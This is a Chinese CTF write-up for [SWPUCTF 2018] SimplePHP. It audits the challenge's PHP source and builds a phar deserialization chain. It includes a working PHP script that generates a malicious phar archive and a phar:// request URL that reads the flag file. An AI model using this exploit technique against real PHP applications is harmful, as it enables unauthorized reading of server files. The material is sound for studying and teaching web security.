首页 > 编程语言 >Web|[SWPUCTF 2018]SimplePHP

Web|[SWPUCTF 2018]SimplePHP

时间:2023-05-06 14:22:13浏览次数:33  
标签:__ Web function SimplePHP phar source 2018 file php


访问是一个文件上传页面,点击查看文件页面

可以发现特殊的链接,应该存在文件包含

http://dfef288e-1b73-48e0-9458-a4e733c40c38.node4.buuoj.cn:81/file.php?file=

查看源码发现一些文件,页面内容提示flag在f1ag.php中

index.php
file.php
upload_file.php
f1ag.php

直接包含f1ag.php文件,提示hacker!,应该是文件名被过滤

查看其他文件内容

代码审计

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

在file.php中发现其他文件

function.php
class.php

经过查看主要有用的信息在class.php和funcion.php中
class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

在function.php中发现,上传文件是白名单验证,并且上传的文件会被重命名在最后加上jpg后缀放到upload文件夹中,所以这里并不能绕过上传文件读取f1ag.php文件,需要找其他方法
在class.php文件中class show有提示//$this->source = phar://phar.jpg,所以这里应该是phar伪协议引起的反序列化漏洞

反序列化链

Test::file_get中$text = base64_encode(file_get_contents($value));,可以读取f1ag.php文件
Test 类中有利用链: __get –> get –> file_get,__get() 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
调用__get方法:show::__tostring中,$content = $this->str['str']->source;,__toString() 把类当作字符串使用时触发,Test类中没有source变量,所以可以触发
调用__tostring方法:C1e4r::__destruct中,echo $this->test;,会将类进行输出,且__destruct() 是对象被销毁时触发,所以一定会触发

反序列化链

C1e4r::destruct() --> Show::toString() --> Test::__get() 

脚本

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;
$a->str=$b;


$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);    //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar.phar文件改为phar.jpg后上传

获取文件名

上传文件后文件被重新命名,可以直接访问upload目录查看文件名

使用phar伪协议包含上传的文件

http://86d1a207-19cc-4bbf-9661-1f319defe08c.node4.buuoj.cn:81/file.php?file=phar://upload/42574e9d70ad4a54c530fd9a294a46dc.jpg	


得到base64编码的字符串

PD9waHAgDQoJLy8kYSA9ICdmbGFne2YwMmFjMTRkLWU4MDMtNDM0OC1iZTcwLThhMGMyNDgyNDI1M30nOw0KID8+DQoNCg==

解码得到flag

<?php 
	//$a = 'flag{f02ac14d-e803-4348-be70-8a0c24824253}';
 ?>

标签:__,Web,function,SimplePHP,phar,source,2018,file,php
From: https://www.cnblogs.com/scarecr0w7/p/17377169.html

相关文章

  • web------JSF ----2
    JSF简介一、 什么是JSF:JavaServerFaces(JSF)是一种用于构建Web应用程序的新标准Java框架。它提供了一种以组件为中心来开发JavaWeb用户界面的方法,从而简化了开发。JavaServerFaces于2004年三月1.0版正式提出,清楚的将Web应用程序的开发者划分......
  • Could not create ActionMapper: WebWork will *not* work!
    CouldnotcreateActionMapper:WebWorkwill*not*work!解决方法:将webwork.properties的webwork.objectFactory=springwebwork.objectFactory.spring.autoWire=name 两行去掉就可以了......
  • web视图层进化史
    经过多年的发展,视图层经历了四个阶段,一个java中写html阶段(前端语言和后端语言写在一文件里面,类如servlet)一个html中写java阶段(例如jsp)一个html中标签化java阶段(例如thymleaf模板引擎)html和java单独部署阶段,之间使用json格式传输数据,这种方式目前是主流方式(例如前端vue,后端springb......
  • Web
    node.js概述一分钟的视频讲了下spring和node.js的优劣,感兴趣的话可以康康spring生态好,使用者多,功能全面且稳定;node.js发展晚一些,框架多,但现在还处于各开发者群魔乱舞的阶段,比较混乱但在快速发展。教程当时自学不会的就看的黑马程序员,不懂的可以找对应的p看,讲得很细的可以开......
  • WPF项目中使用WInform版本的 ChromiumWebBrowser控件嵌套网页 解决中文输入法候选框定
    创建一个用户控件,后台代码:publicpartialclassCefControl:UserControl{ChromiumWebBrowserwebView=null;publicCefControl(){InitializeComponent();if(!CefSharp.Cef.IsInitialized){......
  • JavaWeb回顾与小结(六)
    项目实战-新增员工思路接收并封装参数,调用service方法保存数据,响应result@PostMapping@RequestBody补充实体基础属性,调用mapper接口进行保存数据操作insertintoemp(...)values(?,?,?);文件上传简介文件上传,指将本地图片,视频,音频等文件上传到服务器,供其他用......
  • web网页在手机端打开后左右可以滑动的css bug怎么解决
    web网页在手机端打开后左右可以滑动的cssbug怎么解决这个问题通常是由于在移动设备上使用了固定宽度的元素或容器而导致的。解决这个问题的一种方法是使用CSS媒体查询来检测移动设备,并将容器的宽度设置为100%。具体操作如下:@mediaonlyscreenand(max-width:768px){.cont......
  • 建立一个简单的web项目的dome
    创建一个web项目,添加一个HelloServlet类1、导入两个maven依赖,因为类中继承了HttpServlet,所以要有对应的jar包没有可以去maven仓库中下载<!--https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api-->  <dependency>   <groupId>javax.servlet</gr......
  • 怎么搭建web组态
    web组态是指通过可视化拖拽组件的方式,低代码搭建监控大屏、web页面。物联网各行业的数据以及监控场景,每个行业的业务不同,需要展示的页面也不同。组态快速搭建页面的优势,能更好的满足不同定制化监控页面的需求。BY组态软件,专注于能源电力、工业互联网、智能制造、原型设计等领域......
  • 怎么搭建web组态
    Web组态是指通过可视化拖拽组件的方式,低代码搭建监控大屏、web页面。物联网各行业的数据以及监控场景,每个行业的业务不同,需要展示的页面也不同。组态快速搭建页面的优势,能更好的满足不同定制化监控页面的需求。BY组态软件,专注于能源电力、工业互联网、智能制造、原型设计等领域的......